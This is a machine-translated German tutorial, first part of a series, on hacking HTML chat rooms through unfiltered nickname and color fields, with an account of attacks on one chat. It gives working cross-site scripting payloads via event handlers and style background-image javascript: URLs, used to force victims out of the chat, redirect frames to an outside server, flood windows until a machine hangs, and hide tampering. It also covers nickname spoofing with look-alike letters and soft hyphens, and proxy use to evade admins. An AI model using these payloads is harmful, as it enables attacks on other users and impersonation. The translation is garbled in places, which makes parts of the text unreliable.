This page has been robot translated, sorry for typos if any. Original content here.

Hacking Chat Teil 1 (Theorie und Praxis)



  • Teil 1
  • Teil 2


  • Diese Seite fordert in keiner Weise illegale Aktivitäten, "Cracker" usw. Das Hauptziel besteht darin, die Funktionen von HTML zu untersuchen und Fehler zu vermeiden, die mit seiner Verwendung verbunden sind. Für illegale Nutzung der bereitgestellten Informationen übernimmt der Autor keine Verantwortung. Über alle Fehler in den Chatrooms wurde die Chatverwaltung vom Autor informiert.
    Alle im Artikel angegebenen Beispiele sind getestet und funktionieren in MSIE 5.50.4134.0600. Ich kann die Verfügbarkeit anderer Versionen nicht garantieren, aber ich bin mir sicher, dass dort fast alle Beispiele funktionieren.

    Glossar

    Hacking durch Spitznamen (Handler ohne Anführungszeichen)
    Hacking durch den Spitznamen (der Handler ist in Anführungszeichen eingeschlossen)
    Hacking durch Spitznamen (der Filter überspringt keine Anführungszeichen / Symbole)
    Hacken durch Farbe (Attribut ohne Anführungszeichen)
    Hacken durch Farbe (Attribut mit Anführungszeichen)
    Auf welchen Symbolen müssen Sie die Filter überprüfen
    Handler Limiter
    Fälschung von Spitznamen, leere Spitznamen

    Allgemeine Theorie

    Hier möchte ich bei den Grundlagen von Hacking-Chats aufhören. Es tut mir leid, vor den fortgeschrittenen Lesern - diese Methoden sind seit langem bekannt und alt wie die Welt. Wenn Sie ausreichend weit fortgeschritten sind, können Sie sich auf die folgenden Kapitel konzentrieren.

    Zuallererst möchte ich bemerken, dass jeder Chat original und einzigartig ist (außer für replizierte Kopien eines Tsitshka natürlich). Weil es absolut keine universellen Methoden zum Hacken gibt. Fast jeder Chat hat Funktionen, die berücksichtigt werden müssen, und ohne zu berücksichtigen, welche dummen Vorlagen nicht funktionieren.

    Zuallererst, was verstehe ich wirklich, wenn ich den HTML-Chat hacke? Dies ist keine banale Flut und keine Angriffe auf den IP-Chat. Unter Einbruch verstehen wir eine nicht autorisierte Änderung des HTML des Chat-Dokuments oder den Zugriff auf verborgene Teile davon (zum Beispiel Privaten), d. H. eine solche Auswirkung auf den Chat, die für die Benutzer nicht bereitgestellt und erlaubt wurde. Dies gilt nicht nur für Chats, sondern auch für Foren, Gästebücher etc. (wo alle beschriebenen Methoden funktionieren und noch besser, weil diese Formulare in der Regel schlechter als Chats geschützt sind).

    All das gilt nur für HTML-Chats. Hacking Java Chats ist ein separater und völlig anderer Song. Ich hoffe, Sie können einen Chat-Typ von einem anderen unterscheiden :) ).

    Wir stehen also an der Schwelle des HTML-Chats. Sagen wir, wir wollen es auf "Stärke" testen. Was soll ich zuerst tun? Zunächst verbinden wir uns mit einem anonymen Proxy (ich hoffe, Sie wissen, was es ist). Dies ist aus zwei Gründen notwendig: erstens geben wir unsere Anonymität an (das wäre der Admin des Onkels, der nicht auf den Arsch gedrückt wurde) und zweitens, wenn der Admin unsere Experimente nicht mag und er das Chatfenster schließt, könnten wir wechseln Ihr Proxy zu anderen IP-Adressen und wieder in den Chat gehen. Die Wahrheit hier ist eine Sache: Der Zugang zu einigen Chats ist nicht durch öffentliche Proxies erlaubt.

    Als nächstes müssen wir herausfinden, welche Art von Waffen wir haben, dh welche Attribute vom Benutzer gesetzt werden können. In der Regel können Sie in allen Chats den Kurznamen des Benutzers sowie die Farbe des Benutzers eingeben. Außerdem können Sie manchmal die SOAP des Benutzers, seine Homepage, das Geschlecht, die Häufigkeit der Aktualisierung des Chats usw. festlegen. In der Praxis sind Felder wie Farbe, Nickname, Seife und die Startseite des Benutzers von Interesse. Sie werden direkt in den Körper des Dokuments eingefügt, und durch sie können Sie den Chat angreifen. Es sollte beachtet werden, dass in manchen Chats die Registrierung und ein Teil der Attribute bei der Registrierung gesetzt werden müssen und ein Teil - kurz bevor man den Chat betritt (oder bereits im Chat ist). Chats mit Registrierung werden in der Regel steiler gehäuft und besser geschützt.

    > Bezeichnen Sie sich selbst mögliche Arten des Hackens. Zuerst schärfen wir das Code-Fragment des Formulars, in dem die Farbe unserer Nachrichten festgelegt ist (übrigens kann Farbe sowohl für Kurznamen als auch für Text von Nachrichten separat festgelegt werden, beide müssen überprüft werden, da sie auf verschiedene Weise durch einen Chat analysiert werden können). Warum interessieren wir uns primär für Farbe? Da die Farbe innerhalb der Tags in ihren Parametern angegeben wird, beispielsweise im Gegensatz zum Spitznamen, der am häufigsten im Textkörper der Tags vorkommt. Und zum Hacken eines Chats müssen wir uns in die Parameter des Tags begeben, damit Sie seine Attribute ändern oder Ihr Skript einfügen können (manchmal können natürlich alle Tags einfach im Text von Nachrichten geschrieben werden, bis zum letzten Mal war es beispielsweise chat.rambler chat . ru , aber diese Option ist so dumm, dass solche Chats wahrscheinlich nicht mehr existieren, und ich denke nicht darüber nach).

    Wir sind daran interessiert, welche Informationen über die Farbe an den Server gesendet werden. Der am wenigsten sichere String-Typ ist, wenn die Farbe in Form eines eigenen Namens übergeben wird. Zum Beispiel:

    <select name=youcolor style="width: 70px">
    <option value=blue>синий value=blue
    <option value=red>красный
    <option value=darkred>т-красный
    <option value=green>зеленый
    <option value=black>черный value=black
    <option value=lightblue>голубой value=lightblue
    </select>

    Dieser Chat bricht in der Regel in gewissem Maße zusammen :) . Eine schlechtere Option, wenn die Farbe als numerischer Code zurückgegeben wird:

    <select name=youcolor style="width: 70px">
    <option value=#0000FF>синий value=#0000FF
    <option value=#AF0000>красный
    <option value=#FF0000>т-красный
    <option value=green>зеленый
    <option value=#000000>черный value=#000000
    <option value=#0000AF>голубой value=#0000AF
    </select>

    In einem solchen Chat gibt es vielleicht Filter für alle Symbole außer Ziffern, das # Zeichen und die Buchstaben A, B, C, D, E und F. Dann müssen wir das Hacken durch die Farbe vergessen.

    Und schließlich die schlimmste Option, wenn die Farbe einfach aus der Liste akzeptabler Farben als Zahl übertragen wird:

    <select name=youcolor style="width:70px">
    <option value=1>синий <
    <option value=2>красный <
    <option value=3>т-красный <
    <option value=4>зеленый <
    <option value=5>черный <
    <option value=6>голубой <
    </select>

    In der Regel kann ein solcher Chat durch Farbe nicht gehackt (und oft sogar unmöglich) werden. Dies ist die sicherste Option (übrigens empfehle ich Chat-Entwickler).

    Als Nächstes müssen wir den HTML-Code ändern, damit wir beliebige Werte von Attributen an den Server senden können. Speichern Sie dazu die Site auf Ihrer Festplatte, und ändern Sie das Anmeldeformular wie folgt, um es zu chatten (oder zu registrieren): Ändern Sie die relative Adresse des Formularaktionsparameters in die vollständige Adresse. Wir ersetzen alle Tags des Typs, die mit type text verborgen sind , und wählen tags mit input aus . Darüber hinaus müssen Sie die Einschränkungen für die Länge des Eingabewerts (falls vorhanden) entfernen. Wenn das ursprüngliche Formular beispielsweise das folgende Format hat:



    <form name="logon" method="POST" action="/cgi-bin/chat/chat.cgi">
    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle">
    <small>Nickname:</small>
    <input type="text" name="username" size="12" maxlength="12" >
    </td>

    <td valign="middle"><small> TextColor:</small>
    <select name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue
    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=hidden name=message value="logged on.">

    <input type=hidden name="logon" value="">
    <input type=hidden name=to value="Room">
    <input type=hidden name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Nach den entsprechenden Ersetzungen erhalten wir:



    <form name="logon" method="POST" action="http://typachat.ru/cgi-bin/chat/chat.cgi">

    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle"><small>Nickname:</small>

    <input type="text" name="username" >

    </td>

    <td valign="middle"><small> Text Color:</small>

    <input name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue

    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=text name=message value="logged on.">

    <input type=text name="logon" value="">

    <input type=text name=to value="Room">
    <input type=text name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Beachten Sie, dass ein Dokument dynamisch über Funktionen wie document.write () erstellt werden kann. Dann müssen Sie es wahrscheinlich in eine statische Ansicht konvertieren. Außerdem passiert es oft, dass der Chat nach dem Speichern von HTML auf der Festplatte nicht geöffnet werden soll. Dies kann durch die Tatsache verursacht werden, dass die Site nicht vollständig gespeichert wurde, wenn sie aus Frames bestand. In diesem Fall müssen Sie die Struktur der Seite besser verstehen und alles gut halten. Ein anderer Grund kann sein, dass der Server das Referer- Feld des Anforderungs-Headers des http verfolgt und feststellt, dass wir nicht von seiner Seite kommen. In diesem Fall müssen Sie andere Methoden verwenden, die wir im Kapitel "Hacking auf der Ebene von http" besprechen werden.

    Jetzt können wir mit dem Chat experimentieren. Zunächst müssen Sie herausfinden, welche Filter die Eingabewerte haben (zuerst für Farbe und Spitzname). Uns interessieren vor allem folgende Symbole:

    " ' " = < > ; \ \ & & % Lücke

    Wir geben sie in das Farbfeld und den Spitznamen ein, gehen in den Chatraum (wenn wir mit solchen Attributen dorthin gehen dürfen, andernfalls müssen wir die Zeichen einzeln durchgehen) und sehen, welche Symbole vom Filter übersehen wurden (Schreiben in den Chat, im HTML-Text beschattet, welche Farbe und Nick-Symbole vorhanden sind). Manche Chaträume löschen einfach die gefilterten Zeichen, manche ersetzen sie durch andere Symbole und manche konvertieren in eine verschlüsselte Form des Typs < oder ' . Solche transformierten Symbole passen nicht zu uns, da HTML sie nicht akzeptiert (weitere Details finden Sie im Kapitel "Ein paar weitere Hacks des langweiligen T-Chats").

    Als Ergebnis müssen wir eine Liste von Zeichen haben, die für jedes Attribut des Registrierungsformulars übersprungen werden sollen.

    Als nächstes haben wir die Aufgabe, in jedes Tag zu gelangen, um seine Pramatra zu ändern oder sein Skript dort einzufügen. Dafür gibt es zwei grundsätzlich verschiedene Möglichkeiten: Zum einen wird der benötigte Code durch die Attribute geführt, die sich bereits innerhalb des Tags befinden (zB zwischen den spitzen Klammern) - zum Beispiel durch die Farbe oder Adresse der Seife. Die zweite besteht darin, die Struktur des HTML-Codes so zu brechen, dass der Code, den wir benötigen, innerhalb des Tags ist. Dies wird durch die Analyse der konkreten Struktur des Chat-Codes und der Menge ungefilterter Symbole für unsere Attribute bestimmt. In den folgenden Beispielen werden wir verschiedene Varianten des Hackings betrachten. In der Zwischenzeit möchte ich auf einige Funktionen von HTML eingehen, die es Ihnen ermöglichen, interessante "Effekte" zu erzeugen.

    HTML-Funktionen

    P> Hier werde ich nicht auf HTML für Teekannen referieren. Ich hoffe, dass Sie wissen, was ein Tag und seine Parameter sind, mit JavaScript vertraut sind und mindestens eine Webseite in Ihrem Leben in HTML geschrieben haben (und nicht in FrontPage).

    Das größte Problem (und gleichzeitig die Stärke) von HTML ist, dass es keinen einzigen Standard hat. Das heißt, es scheint dort zu sein, aber die Standards sind so vielfältig und es gibt so viele in HTML verflochten, dass niemand es genau weiß (und oft nicht weiß, was es ist). Außerdem führt der Wettbewerb unter Browsern und die Heterogenität von Websites dazu, dass Browser versuchen, so viele Standards und Technologien wie möglich zu unterstützen. Und der Mangel an gemeinsamen Standards hat dazu geführt, dass Web-Master sogar auf einer Seite es schaffen, sich in verschiedenen Stilen unterschiedlich zu mischen: o (Dies ermöglicht Hackern jedoch, HTML zu hacken und den Entwicklern viele Kopfschmerzen zu bereiten.

    Eine einfache Frage: Was sind die Begrenzer in HTML und JavaScript? Selbst ich kann diese Frage nicht sofort und eindeutig beantworten. Betrachten wir ein Beispiel:

    <font onclick= "alert()">Text</font>

    Hier ist alles klar und offensichtlich. Es gibt ein Tag mit einem in JavaScript geschriebenen Click-Event-Handler, dessen Text in Anführungszeichen eingeschlossen ist. Die Verwendung von JavaScript kann explizit angegeben werden:

    <font onclick="javascript:alert()">Text</font>

    Die Begrenzer der Zeichenfolge in diesen Beispielen sind doppelte Anführungszeichen. Sie können jedoch ohne sie auskommen. Da nach onclick = nur eine statische Handler-Zeichenfolge gehen kann, erlaubt HTML das Ignorieren von Anführungszeichen (dies gilt für viele Fälle, in denen das Argument nur eine Zeichenfolgekonstante sein kann). Dieses Design funktioniert also auch:

    <font onclick=alert()>Text</font>

    und jetzt fügen wir statt einer leeren Nachricht etwas Bedeutungsvolles hinzu:

    <font onclick=alert('Привет друзья!')>Text</font>

    Das Öffnen des Demonstrationslinks zeigt, dass dieses Beispiel nicht funktioniert. Der Grund dafür ist, dass der Körper des Handlers nicht in Anführungszeichen eingeschlossen werden kann, aber in diesem Fall wird der erste Raum als das Ende des Zeilen-Handlers betrachtet (selbst wenn der Raum selbst innerhalb der Anführungszeichen liegt). Daher betrachtet der Browser den Prozessor nur als Alert- Fragment ("Hallo , und ein offenes Anführungszeichen zu finden, zeigt eine Fehlermeldung an, warum reagiert der Browser nicht auf den Leerraum innerhalb der Anführungszeichen?" Ich denke, dass hier zwei Sprachen gemischt sind: HTML und JavaScript. Der Browser "sah", dass es nach dem Zeichen kein Anführungszeichen gab, und suchte nach einem Leerzeichen als Ende des Handlers, aber das Innere des Handlers interessierte ihn in diesem Moment nicht, da es sich nicht auf HTML, sondern auf JavaScript bezogen hat. nahm einen Platz nach einem Pferd Die Werte der folgenden Parameter funktionieren fehlerfrei:

    <font onclick="alert('Привет друзья!')">Text</font>
    <font onclick=alert('Привет_друзья!')>Text</font>
    <font onclick="alert('Привет друзья!')"onmouseover='alert()'>Text</font>
    <font color=alert('Привет друзья!')>Text</font>

    Beachten Sie ein wichtiges Feature: Wenn der Wert des Tag-Parameters in Anführungszeichen gesetzt ist, kann der Leerraum vor dem nächsten Parameter weggelassen werden (die dritte Zeile des Beispiels). Die vierte Zeile des Beispiels funktioniert auch (in dem Sinne, dass der Browser nicht schwört, aber das Skript funktioniert natürlich nicht), weil der Browser den Inhalt der JavaScript-Attributfarbe nicht berücksichtigt und daher nicht auf ein offenes Zitat schwört, obwohl nur die Warnung (' Hallo (da die Farbe in HTML eine willkürliche Zeichenfolge sein kann, konvertiert der Browser in diesem Fall die Zeichenfolge in einen bestimmten numerischen Wert, der als eine Farbe betrachtet wird).

    Gibt es andere Zeichen - Begrenzer des Prozessors ohne Anführungszeichen (mit Ausnahme eines Leerzeichens und eines Symbols > ), wird eine Frage geöffnet. Ich kenne solche Leute nicht, aber ich gebe zu, dass sie sein können.

    Wie Sie anhand der obigen Beispiele sehen können, können Zeilentrennzeichen doppelte und einfache Anführungszeichen sein. Dies gilt gleichermaßen für HTML und JavaScript. Es stellt sich jedoch heraus, dass es mindestens ein Zeichen mehr gibt, das in HTML ein String-Begrenzer ist (aber nicht in JavaScript!). Dies ist der Charakter des umgekehrten Apostrophs (normalerweise auf einem Schlüssel mit dem Buchstaben E ). Sie können das folgende Beispiel überprüfen:

    <font onclick=`alert('Привет друзья!')`>Text</font>

    Ich schwöre, dass mindestens 90% der Webmaster nichts davon wissen! Auf jeden Fall habe ich noch nicht gesehen, dass jemand einen umgekehrten Apostroph verwenden würde. Dieses Symbol ist ein Geschenk des Himmels :) ).

    Es passiert oft, dass es notwendig ist, in Anführungszeichen zu verwenden - andere. Und das ist schwierig, besonders wenn der Chat nur eine Art von Zitaten überspringt. Aber es stellt sich heraus, dass JavaScript Ihnen erlaubt, String-Konstanten in andere String-Konstanten einzufügen und gleichzeitig die gleichen Anführungszeichen zu verwenden! Zum Beispiel:

    'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')'

    Das Beispiel verwendet verschachtelte einfache Anführungszeichen, der Fehlerinterpreter jedoch nicht. Ich stelle fest, dass der Inhalt von internen Anführungszeichen nicht willkürlich ist: Sie sollten keine Leerzeichen enthalten und am Ende sind einige Zeichen nicht erlaubt . oder ) .

    Lassen Sie uns jetzt über Links sprechen. Zunächst einmal sollte so ein Detail bemerkt werden: Die Entwicklung des Internets war so, dass es völlig unterschiedliche Technologien vermischte. Der Zugriff auf Informationen kann durch eine Vielzahl unterschiedlicher Protokolle erfolgen. Bei der Angabe des vollständigen Pfads des Dokuments (URL) ist es daher zulässig, alle im Browser vertrauten Protokolle anzugeben. Es ist bemerkenswert, dass Javascript auch Protokollen zugewiesen wird (obwohl dies nicht der Fall ist, aber die Entwickler schätzten es als zu fett, ein eigenes Konzept für Skripte zuzuweisen und ordneten sie den Protokollen zu). Wo immer Sie eine URL in einem HTML-Dokument angeben können, können Sie daher ein Skript einfügen. Dieses Skript wird ausgeführt, sobald der Benutzer (oder der Browser selbst) diesen Link anfordert. Zum Beispiel:

    <a href=javascript:alert()>Text</a>

    Interessanterweise können Sie zusätzlich zu den Operatoren in einer Referenz zu JavaScript einfach einen String- (oder numerischen) Wert angeben (jedoch notwendigerweise nach den Operatoren, falls vorhanden). Wenn Sie auf eine solche Verknüpfung klicken, führt der Browser zuerst die Operatoren aus und öffnet ein neues Dokument und platziert den Wert der letzten Zeile in der Verknüpfung:

    <a href=javascript:alert();'Hello!!'>Text</a> Ich merke, dass Tags auf diese Weise nicht in eine neue Seite eingefügt werden können.

    Hacking R-Chat

    Hier ist ein Beispiel für eines der ersten gehackten Chats. Dieser Chat war sehr einfach und gehackt, was vom ersten Aufruf aufgerufen wird :) ).

    Und jetzt gibt es nicht genug Chats, in denen es vorbeigeht. Obwohl ich selbst an diese Methoden dachte, fand ich sie in Hacker-Magazinen.

    Die Eingabeform dieses Chats entsprach exakt der im Kapitel "Allgemeine Theorie" angegebenen Form. Nach dem Konvertieren und Speichern des Formulars auf Festplatte überprüfte ich, welche Zeichen im Attribut "Farbe" übergeben wurden. Es stellte sich heraus, dass die folgenden Symbole (von denen, die uns interessieren, weitergehen - siehe Kapitel "Allgemeine Theorie"):

    ' " = ; % Lücke

    Natürlich sind alle Zahlen und Buchstaben vergangen. Die Länge des Linienwertes der Farbe war nicht begrenzt. Als nächstes habe ich gesucht, wo genau die Farbe in den Nachrichtenrahmen eingefügt wird. Hier ist ein Fragment dieses Rahmens:

    <font color=Black><b>Путник</b>- Alpha, привет ))</font>
    <font color=Red><b>Alpha</b>- Всемприветик !!</font>

    Wie Sie sehen können, wird die Farbe ohne umgebende Anführungszeichen eingefügt. Das passt mir. Ich habe mich unter dem Spitznamen Shram angemeldet (naja oder fast unter einem solchen Spitznamen;)) und die Farbe rote Größe = 20 . Mein Beitrag sah so aus:

    <font color=red size=20><b>Algol</b>- Hi</font>

    Es wurde in einer sehr großen Schrift gedruckt, was die Bevölkerung des Chats überraschte :) ).

    Trotz der Tatsache, dass wir keine Tags direkt einfügen können, aber die Erlaubnis, ein Leerzeichen in das Farbattribut einzugeben, erlaubte es uns, nicht autorisierte Parameter des Tags zu spezifizieren. Das war natürlich nicht genug für mich. Ändern Sie die Schriftgröße natürlich cool, aber wirklich etwas Nützliches kann nur mit Skripts gemacht werden. Ich konnte das Skript- Tag nicht direkt einfügen (oder zu diesem Zeitpunkt wusste ich noch nicht, wie es geht). Aber ich könnte den Handler auf ein Event-Tag setzen. Das ist die Farbe, nach der ich gefragt habe, was einen Nerd aus dem Chat entfernen würde:
    #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. Und dann habe ich ihm eine lange, lange Nachricht an Privat geschickt. Die Farbe der Nachricht habe ich so aufgenommen, dass sie nicht von der Hintergrundfarbe abweicht. Und die Größe der Schriftart und die Länge der Nachricht waren so groß, dass das Opfer wahrscheinlich mindestens einmal mit der Maus auf die Nachricht gewechselt hat, wodurch mein onmouseover- Handler statt des Benutzers die Schaltfläche "Chat verlassen" gedrückt hat :) ).

    Doch allmählich gab es schlaue Männer, die den Trick herausgefunden hatten und den Cursor bewusst nicht über das Chatfenster bewegten. Mein Skript hat nicht immer funktioniert :( (Zuerst dachte ich, dass es keinen Ausweg gibt, weil ich das Skript nur als Event-Handler einfügen kann, wenn dieses Ereignis nicht funktioniert, dann funktioniert das Skript nicht.) Aber wenn ich in die Annalen grabe, fand ich eine Lösung und es ist allgemein bekannt.) Es hat sich herausgestellt, dass Sie im style- Attribut die URL des Hintergrunds für das Tag angeben können und wo Sie die URL angeben können. Dort können Sie das Skript notieren und vor allem das Hintergrundbild beim Laden des HTML-Dokuments herunterladen! Um den Chatteilnehmern die Warnung anzuzeigen, habe ich mich mit der folgenden Farbe angemeldet Dies:

    style=background-image:url(javascript:alert('приветик_всем_!!'));

    Es sollte ein wichtiges Detail beachtet werden: Da die Struktur der meisten HTML-Chats so ist, dass die Seite regelmäßig aktualisiert wird, wird das so gesendete Skript mehr als einmal und viele Male ausgeführt, bis unsere Nachricht vom Bildschirm verschwindet.

    Aber hier ist, wie der Wert des Farbattributs für den Ausstieg aus dem Chat aussah:

    style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click());

    Sie müssen sich daran erinnern: Das Skript, das privat gesendet wird, wird nicht nur von Ihrem "Gesprächspartner" gesehen, sondern von Ihnen selbst. Sie müssen also wissen, wie Sie sich vor dem Einfluss des Skripts schützen können. Dies kann auf zwei Arten geschehen: Entweder setzen Sie sich in Ignorieren (und dann werden Ihre eigenen Nachrichten nicht sehen) oder in den Browsereinstellungen, um die Anzeige von Bildern zu verbieten. Dann wird das Skript, das durch das Hintergrundbild ausgelöst wird, nicht funktionieren.

    Jetzt möchte ich einige nützliche Skripte zeigen, die in gehackten Chats verwendet werden können:

    javascript: navigate ('http://myserver.ru'); - lädt myserver.ru in den aktuellen Frame (oder die Seite).
    Einige Chats, wenn Sie das http: // -Fragment sehen, betrachten dies als Link und das <a> -Tag wird automatisch eingefügt. Da dies unser Skript zerstören wird, sollte dies nicht erlaubt sein. Lassen Sie dazu einfach das Präfix http: (das bereits standardmäßig akzeptiert wird) weg. Dann sieht das Skript so aus: javascript: navigieren ('// myserver.ru'); Zwei vor dem Schrägstrich sind obligatorisch.

    javascript: parent.frames [2] .document.location = 'http: //myserver.ru' - lädt myserver.ru in einen der Frames.

    javascript: for (;;) open () - öffnet eine unendliche Anzahl von Fenstern (falls nicht rechtzeitig navigiert, führt dies zum Aufhängen des Rechners und zum anschließenden Neustart).

    javascript: document.write ('<script> alert () </ script>') - Ersetzt den aktuellen Frame durch ein Script, welches dann ausgeführt wird. Hinweis: Wenn der Chat nicht die <und> (und das ist die überwältigende Anzahl von Chats) verpasst, können wir kein solches Skript einfügen. Aber es gibt einen Ausweg. Dies ist eine Anwendung der Funktion unescape () , die den ASCII-Code des Zeichens in ein Zeichen umwandelt. Wir ersetzen die spitzen Klammern durch die Funktion unescape () mit den entsprechenden Codes, dann sieht unser Skript so aus:

    javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - fügt das Bild nach dem Text ein. Beachten Sie, dass Sie in IE 5.x ein anderes Tag als FRAME, IFRAME und SELECT einfügen können.

    In IE 4.x erlaubt die Funktion createElement () jedoch nur IMG- , AREA- und OPTION- Tags. Ich habe keine Informationen über Netscape, Sie können selbst experimentieren. 'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' / * blockiert das Dropdown-Menü der Seite und macht den HTML-Inhalt des Frames unzugänglich. Dank diesem kannst du deine Machenschaften mit dem Chat-Körper verstecken :) ). * / Manchmal ist es nützlich, sich mit dem Nickname eines anderen Benutzers anzumelden. Chats mit einem Benutzerregistrierungssystem erlauben dies nicht, wenn Sie das Passwort nicht kennen (und es wahrscheinlich nicht wissen). Die banale Ausgabe: Registrierung mit einem Spitznamen, bei dem der Buchstabe des lateinischen Alphabets durch einen sehr ähnlichen Buchstaben des russischen Layouts ersetzt wird. Melden Sie sich beispielsweise unter dem Spitznamen admin an, bei dem der lateinische Buchstabe a durch den russischen Buchstaben a ersetzt wird. Die Methode ist primitiv, aber es funktioniert)). Es gibt auch schwerere Fälle. Zum Beispiel ist es in einigen Chats verboten, Zeichen aus verschiedenen Layouts in einem Nick zu verwenden. Dann hat der neugierige Geist keine andere Wahl, als sich an Onkel Gates um Hilfe zu wenden. Und jetzt ist sie Freundlichkeit, Microsoft hat sündige Benutzer nicht vergessen und gab uns ein Symbol ­ (aka ­ es ist % AD ), die die Microsoft-Firma "Soft Bindestrich" ("Short Bindestrich"). Es sieht wirklich wie ein Bindestrich in Word aus, und auch in einem Excel und sogar in einem Notizbuch, aber nicht im IE! Für Microsofts Icon-Explorer ­ existiert einfach nicht, das heißt, es scheint zu existieren, aber für ihn haben sie vergessen , eine grafische Darstellung zu machen. Es erscheint einfach nicht in der HTML-Seite! Wenn wir also jedem Nickname einen kurzen Bindestrich hinzufügen und sich darunter registrieren, geben wir den Chat mit dem Nickname ein, der genauso wie der Nickname ohne Bindestrich auf der HTML-Seite angezeigt wird. Und Sie können es noch cooler machen - melden Sie sich mit einem Spitznamen an, der nur kurze Trennstriche enthält. Dann wird dein Nickname im Chat überhaupt nicht angezeigt, absolut leer)).

    (Hinweis: Während ich mit dem kurzen Bindestrich schon ein wenig kurz war, habe ich noch Fälle gefunden, in denen es erscheint: Es erscheint nur als Bindestrich, dh wenn ein kurzer Bindestrich im Wort vorhanden ist und dieses Wort am Ende der Zeile steht, kann das Wort nach dem Bindestrich in die nächste Zeile verschoben werden, und der Bindestrich selbst wird sichtbar! Daher ist es möglich, dass der Bindestrich unsichtbar ist - das Präemptivmerkmal des Microsoft (was jedoch seine Nützlichkeit im Einbruch nicht verringert :) ). Die Wahrheit ist nicht klar, warum bleibt es immer noch in anderen Anwendungen sichtbar?)



    Weitere 2 Stunden >>